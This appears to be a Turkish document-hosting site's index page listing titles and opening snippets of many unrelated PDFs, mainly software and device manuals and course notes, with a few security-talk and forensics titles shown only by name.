Yandaki resimlerde Excel Pazartesi den başlayarak günleri otomatik olarak doldurmuştur.
Otomatik Doldurma; Hızlı veri girişi için Microsoft Excel'in otomatik olarak verileri tekrarlamasını sağlayabilir veya verileri otomatik olarak girebilirsiniz. Excel'in sayı, sayı ve metin birleşimi, tarih
Minti Monti. Kızak Keyfi. Kızak Bir Kış Eğlencesi KIŞIN SOKAK Yeni Yıl Kartı Hazırlayalım Kar Hakkında Neler Biliyorsun?
Minti Monti Çocuklar için eğlenceli poster dergi Ücretsizdir Kış 2014 Sayı:12 ISSN: 2146-281X Kızak Keyfi Kızak Bir Kış Eğlencesi KIŞIN SOKAK Yeni Yıl Kartı Hazırlayalım Kar Hakkında Neler Biliyorsun?
Bölgeler kullanarak yer çekimini kaldırabilir, sisli ortamlar yaratabilirsiniz.
Bölge (Zone) Bölge nesnesi kullanılarak tapınak çevresinde gölgeli, ürpertici bir ortam yaratılmış. Yine bölge nesnesi kullanılarak mağara ortamının karanlık olması sağlanmış. Bu da ortamının gerçekliği
META TRADER 4 MOBİL İŞLEM PLATFORMLARI KULLANMA KILAVUZU 1. KURULUM
META TRADER 4 MOBİL İŞLEM PLATFORMLARI KULLANMA KILAVUZU 1. KURULUM Meta Trader 4 mobil işlem platformunu cihazınıza kurmak için öncelikle uygulama marketine giriş yapmanız gerekmektedir. Girişin ardından
ELITE A.G. KS100/HEFM SICAK-SOĞUK ETĐKET BOY KESME VE ĐŞARETLEME MAKĐNASI KULLANIM KILAVUZU
ELITE A.G. KS100/HEFM SICAK-SOĞUK ETĐKET BOY KESME VE ĐŞARETLEME MAKĐNASI KULLANIM KILAVUZU ANA EKRAN Makinenin şalteri açıldığında 5 sn boyunca açılış ekranı gelir. Daha sonra ana ekrana geçilir. Bu ekranda
BULUġ BĠLDĠRĠM FORMU/ GIDA
Sayfa 1/ 7 / GIDA Bu forma uygun olarak yapacağınız çalışma, Buluşunuzun tarafımızdan en iyi şekilde tanımlanabilmesi ve İleride hukuk önünde istenen korumanın elde edebilmesi için temel teşkil edecektir.
0 dan matematik. Bora Arslantürk. çalışma kitabı
0 dan matematik 0 dan matematik 1 çalışma kitabı Sıfırdan başlanarak matematik ile ilgili sıkıntı yaşayan herkese hitap etmesi, Akıllı renklendirme ile göz yoran değil ayrım yapmayı, istenileni bulmayı
MAT223 AYRIK MATEMATİK
MAT223 AYRIK MATEMATİK Çizgeler 7. Bölüm Emrah Akyar Anadolu Üniversitesi Fen Fakültesi Matematik Bölümü, ESKİŞEHİR 2014 2015 Öğretim Yılı Çift ve Tek Dereceler Çizgeler Çift ve Tek Dereceler Soru 51 kişinin
Örgün Öğrenci Sistemi Anadolu Üniversitesinde öğretim elemanlarının verdikleri
Örgün Öğrenci Sistemi Anadolu Üniversitesinde öğretim elemanlarının verdikleri derslerle ilgili yoklama, not girişi yapabildikleri ve öğrencilerin aldıkları derslerle ilgili bilgileri görebildikleri sistemdir.
1.Temel Kavramlar 2. ÆÍlemler
1.Temel Kavramlar Abaküs Nedir... 7 Abaküsün Tarihçesi... 9 Abaküsün Faydaları... 12 Abaküsü Tanıyalım... 13 Abaküste Rakamların Gösterili i... 18 Abaküste Parmak Hareketlerinin Gösterili i... 19 2. lemler
KolayOfis Başlangıç Rehberi Kısa Mesaj Yönetimi
1 İçindekiler KolayOfis e Hoş Geldiniz Sözleşme İmza İşleminin Tamamlanması Kullanıcı Bilgilerinin Hazırlanması Destek Hizmeti Kısa Mesaj Yönetimi Duruşma, Ara Karar ve İş Planı Bilgilendirmesi Duruşma,
VEGAWINA5 2016 VERSION
VEGAWINA5 2016 VERSION Bundan Böyle Her Yıla Ait Hazırlanan Setup İçin Login Ekranında Version Yılı Yazacaktır Program Kurulumunda Ana Sayfa ( Boss ) Modülü Kurulumu Zorunlu Hale Getirilmiştir Hizmet\Firma\Kullanıcı
ARDUİNO VE GPS MODÜLÜ İLE GPS KOORDİNATLARININ ALINMASI ARDUİNO VE SD KART MODÜLÜ İLE KULAKLIKTAN SES ÇALMA
ARDUİNO VE GPS MODÜLÜ İLE GPS KOORDİNATLARININ ALINMASI ARDUİNO VE SD KART MODÜLÜ İLE KULAKLIKTAN SES ÇALMA Projeyi Hazırlayanlar: İsmail TELLİ Aden MOHAMUD İçindekiler: 1. Arduino Ve Gps Modülü İle Gps
in Kullanımı tamamlamış gerçekleştirmiş
in Kullanımı u doküman MasteringPhysics sitesine kayıt işlemlerini tamamlamış ve derse kayıt işlemini gerçekleştirmiş olan öğrencilere MasteringPhysics i nasıl kullanacaklarını ayrıntılı olarak açıklamaktadır.
Facebook connect ile kullanıcı giriş çıkış
Facebook connect ile kullanıcı giriş çıkış 12 Mayıs Salı 09 Diğer Dökümanlar http://mfyz.com/facebook-connect-ile-kullanici-giris-cikis Facebook Connect Nedir? Facebook, uzun süredir api'si dışında connect
Kullanım kılavuzu HERE Maps
Kullanım kılavuzu HERE Maps Baskı 1.0 TR HERE Maps HERE Maps, size etrafta neler olduğunu gösterir ve gitmek istediğiniz yere ulaşmanızı sağlar. Şunları yapabilirsiniz: Şehirleri, sokakları ve servisleri
ÜNİTE 5 KESİKLİ RASSAL DEĞİŞKENLER VE OLASILIK DAĞILIMLARI
ÜNİTE 5 KESİKLİ RASSAL DEĞİŞKENLER VE OLASILIK DAĞILIMLARI 1 Rassal Değişken Bir deney ya da gözlemin şansa bağlı sonucu bir değişkenin aldığı değer olarak düşünülürse, olasılık ve istatistikte böyle bir
Linux Sistemlerde Silinmiş Dosyaları. Forensics)
Kurtarmak (Disk Forensics) Bu yazı Linux sistemlerde temel seviyede dosya sistemleri, özellikleri vedesteklenen dosya sistemleri üzerinde silinen dosyalarin geri getirilmesi ile ilgili bilgiler içermektedir.
ACENTE PORTAL QUICKRES/TROYA ACENTE BAŞVURU KILAVUZU
ACENTE PORTAL QUICKRES/TROYA ACENTE BAŞVURU KILAVUZU İÇERİK ACENTE PORTAL HAKKINDA GENEL BİLGİ... 3 QUİCKRES/TROYA ACENTESİNİN THY ACENTA PORTALINA BAŞVURU SÜRECİ... 4 BAŞVURU TAKİP NO HATIRLATMA... 19
Sürücü Gönder. Yönetici Kılavuzu
Sürücü Gönder Yönetici Kılavuzu Ocak 2013 www.lexmark.com Genel Bakış 2 Genel Bakış Sürücü Gönder, belirli bir yazıcı modelinin yazıcı sürücüsünü almanızı sağlar. Uygulama, size yükleme talimatlarını ve
Endüstri Mühendisliğine Giriş. Jane M. Fraser. Bölüm 2. Sık sık duyacağınız büyük fikirler
Endüstri Mühendisliğine Giriş Jane M. Fraser Bölüm 2 Sık sık duyacağınız büyük fikirler Bu kitabı okurken, büyük olasılıkla öğreneceğiniz şeylere hayret edecek ve varolan bilgileriniz ve belirli yeni becerilerle
İŞLEM BASAMAKLARI, KARŞILAŞILABİLECEK HATALAR ve ÇÖZÜM YOLLARI
İŞLEM BASAMAKLARI, KARŞILAŞILABİLECEK HATALAR ve ÇÖZÜM YOLLARI Yapılacak işlemleri 4 basamak halinde inceleyelim. 1. (Bilgi aktarımı) İdarenin yapması gereken bilgi güncelleme işlemleri 2. (Bilgi aktarımı)
QR Kodu Tarayıcısı / Okuyucusuna Uygun Uygulamalarda Kullanım İçin
Xerox QR Code Uygulaması Hızlı Başlangıç Kılavuzu 702P03999 QR Kodu Tarayıcısı / Okuyucusuna Uygun Uygulamalarda Kullanım İçin QR (Quick Response) Code Uygulamasını şu uygulamalarla birlikte kullanınız:
Gmail Outlook Ayarları (Türkçe Resimli Anlatım)
Gmail Outlook Ayarları (Türkçe Resimli Anlatım) 1.Adım: Gmail üzerinden e-posta hesabınıza herhangi bir tarayıcıdan http://mail.maltepe.edu.tr linkine tıklayıp daha önceden kullandığınız e-posta hesabınızı
Autodesk Building Design Suite 2012. Sorular ve Cevapları
Autodesk Building Design Suite 2012 Sorular ve Cevapları Autodesk Building Design Suite 2012 yazılımı, daha etkin tasarım yapmanıza ve iletişim kurmanıza yardım eder. Ödediğiniz fiyat karşılığında mükemmel
Digitus un alışılmış kutu tasarımı Powerline Wireless 300N Access Point in kutusu için de geçerli. Ürünün ön kısmında yeşil ve beyaz renkler
Digitus DN-15018-1 Tanıtımını gerçekleştireceğimiz sıradaki Digitus ürünü ise Powerline Wireless 300N Access Point. Kısaca Access Point in görevini sizlere aktaralım. Bu cihazın görevini birçok bilgisayar
FreeBSD istemcileri arasında Ipsec tünelleme
FreeBSD istemcileri arasında Ipsec tünelleme Bir tür ip güvenlik çeşidi olan Ipsec, ip paket seviyesine kadar olan Internet trafiğini şifreleme yöntemidir.bu da SMTP gibi güvenliği düşük olan protokolleri
Q-BIZ VIEWER KULLANIM KILAVUZU
Q-BIZ VIEWER KULLANIM KILAVUZU 1 İçindekiler 1. Q-BIZ VIEWER NEDİR?... 3 2. Q-Biz Viewer a Giriş... 3 3. Q-Biz Viewer Ayarları... 3 3.1. Yerleşim... 4 3.1.1. Pencere Yönetimi... 4 3.1.2. Paylaş... 5 3.1.3.
WEB SAP (ORION) STAJ BAŞVURU KULLANICI DÖKÜMANTASYONU. Süheyla GÜVEN
WEB SAP (ORION) STAJ BAŞVURU KULLANICI DÖKÜMANTASYONU Süheyla GÜVEN İÇİNDEKİLER 1. İÇERİK 1 2. WEB VE SAP (ORION) KULLANICI YAPISI.. 2 3. 1. AŞAMA ÖĞRENCİ GİRİŞİ.3 4. 2. AŞAMA DANIŞMAN ONAYI..6 5. 3. AŞAMA
Publication : Techno-labs. Title. Date : 03.10.2012. : WD My Book Live. WD My Book Live
WD Publication : Techno-labs Title : WD My Book Live Date : 03.10.2012 WD My Book Live Western Digital in ev içi ağ için geliştirdiği My Book Live ı inceledik. Saatlerimizi bundan 10 yıl öncesine geri
EBYS FATİH SULTAN MEHMET VAKIF ÜNİVERSİTESİ
EBYS FATİH SULTAN MEHMET VAKIF ÜNİVERSİTESİ ELEKTRONİK BELGE YÖNETİM SİSTEMİ e-imza KURULUM AŞAMALARI AKİS Akıllı KART'da yer alan Nitelikli Elektronik Sertifikanın yüklü olduğu çipli parça işaretliyerlerinden
B05.11 Faaliyet Alanı
82 Yrd. Doç. Dr. Yakup EMÜL, Bilgisayar Programlama Ders Notları (B05. C de Fonksiyonlar) Bir tanıtıcının faaliyet alanı, tanıtıcının kod içinde kullanılabileceği program kısmıdır. Örneğin, bir blok içinde
BULUŞ BİLDİRİM FORMU / APARAT
Sayfa 1/ 6 / APARAT Bu forma uygun olarak yapacağınız çalışma, Buluşunuzun tarafımızdan en iyi şekilde tanımlanabilmesi ve İleride hukuk önünde istenen korumanın elde edebilmesi için temel teşkil edecektir.
SMART Board EĞİTİMLERİ(sürüm:10) 2. Aşama
SMART Board EĞİTİMLERİ(sürüm:10) 2. Aşama Bölüm 1:Araç çubuğu Yan sekmeler Yandaki araç çubuğu üzerinde dört adet sekme vardır. Sayfa Düzenleyiciye basarak oluşturduğunuz/oluşturacağınız sayfaları küçük
ONLİNE KATALOG TARAMA (YORDAM KÜTÜPHANE OTOMASYON PROGRAMI)
ONLİNE KATALOG TARAMA (YORDAM KÜTÜPHANE OTOMASYON PROGRAMI) Toplu tarama yapmak için; sol menüden tarama yapmak istediğiniz ilgili fakülteyi seçerek Ara demeniz gerekmektedir. Zonguldak Karaelmas Üniversitesi
ĐŞKUR sitesine giriş şifremizi hatırlamadığımız için, şifremi unuttum kısmını tıklıyoruz.
ĐŞKURLULARIN BĐLGĐLERĐ, ŞĐFRELERĐ HERKESE AÇIK ( BEDAVA SMS GÖNDERME SĐTESĐ YAZI SONUNDADIR ) Merhaba, bu bilgilendirici yazıda sizlere ĐŞKURa kayıtlı olanların şifrelerine, kişisel bilgilerine başkalarının
Bellek Analizi ile Zararlı Yazılım Analizi
Bellek Analizi ile Zararlı Yazılım Analizi Yine bir gün twitter.com/hack4career hesabından duyurulan hack edilmiş ve/veya zararlı yazılım barındıran web sitelerine göz atarken gün aşırı tespit edilen,
PERKON PDKS Kurulum ve hızlı başlangıç rehberi
Oluşturma 02.11.2015 Revizyon: 02.11.2015 Rev No: 02 Yazan: Süleyman FAKİR Düzenleyen: Ferşad DELİRİ PERKON PDKS Kurulum ve hızlı başlangıç rehberi 1) PDKS Kurulumu, Lisans Onaylaması Ve Veri Tabanı Ayarları
MİKRO İKTİSAT ÇALIŞMA SORULARI-10 TAM REKABET PİYASASI
MİKRO İKTİSAT ÇALIŞMA SORULARI-10 TAM REKABET PİYASASI 1. Firma karını maksimize eden üretim düzeyini seçmiştir. Bu üretim düzeyinde ürünün fiyatı 20YTL ve ortalama toplam maliyet 25YTL dir. Firma: A)
Destekli Proje İşletme Prosedürü
Destekli Proje İşletme Prosedürü Teknoloji Transfer Ofisi 2015 Yazan(lar) : Tarih : İlker KÖSE TTO Direktörü Onaylayan(lar) : Tarih : Prof. Dr. Ömer Ceran Genel Sekreter V. Prof. Dr. Sabahattin Aydın Rektör
ORIFLAME MAKYAJ SİHİRBAZI MOBİL UYGULAMASI
ORIFLAME MAKYAJ SİHİRBAZI MOBİL UYGULAMASI MAKYAJ SİHİRBAZI NEDİR? Oriflame Makyaj Sihirbazı, tek bir dokunuşta birbirinden farklı makyaj stilini ve görünüşü denemenize imkan tanır. Oriflame müşterilerinin
Braille Star 40 Başvuru Kitapçığı Sürüm 4.0 Lütfen bu başvuru kitapçığıyla birlikte paketinizde bulunan kullanıcı kılavuzunu da gözden geçirin.
Braille Star 40 Başvuru Kitapçığı Sürüm 4.0 Lütfen bu başvuru kitapçığıyla birlikte paketinizde bulunan kullanıcı kılavuzunu da gözden geçirin. Cihazın ön tarafında orta kısımda 2 adet aralık tuşu yer
Metasploit Framework ile Exploit Geliştirme. Fatih Özavcı Canberk Bolat
Metasploit Framework ile Exploit Geliştirme Fatih Özavcı Canberk Bolat Bilgi Güveniği Danışmanı Güvenlik Araştırmacısı fatih.ozavci at gamasec.net canberk.bolat at gmail dotcom gamasec.net/fozavci cbolat.blogspot.com
Hackerlar'ın Gözünden Flash Uygulamaları
Hackerlar'ın Gözünden Flash Uygulamaları Ah o Netsec etkinliğinde bende olsaydım deyipte katılamayanlar için yapmış olduğum sunumu kısaca yazıya dökmeye karar verdim. Ön bilgi olarak Flash kısaca web sayfalarına
BQ360 Modbus Dijital Giriş 24 Kanal. Kullanım Kılavuzu. Doküman Versiyon: 1.2 01.02.2016 BQTEK
Modbus Dijital Giriş 24 Kanal Kullanım Kılavuzu Doküman Versiyon: 1.2 01.02.2016 BQTEK İçindekiler İçindekiler... 2 1. Cihaz Özellikleri... 3 2. Genel Bilgi... 4 2.1. Genel Görünüm... 4 2.3 Cihaz Boyutları...
Kis3 max Cep Telefonu Hızlı Başlangıç Kılavuzu
Kis3 max Cep Telefonu Hızlı Başlangıç Kılavuzu 23 YASAL BİLGİLER Telif Hakkı 2014 ZTE CORPORATION. Tüm hakları saklıdır. Bu yayının hiçbir bölümü ZTE Corporation'ın önceden yazılı izni olmadan fotokopi
BÖLÜM 9. Sayıcılar, S7 200 CPU 212...226 serilerinde C ile gösterilir. Sayıcılar, S7 200 CPU 212...226 serilerinde: Yukarı sayıcı (Counter up CTU ),
BÖLÜM 9 SAYICILA ( Counters) ( C ) Sayıcılar, girişine verilen ve 0 sinyalinin belirli sayısından sonra çıkışını yapan elemanlardır Sayma işlemi yukarı olabildiği gibi aşağı da olabilir Sayıcılar, batarya
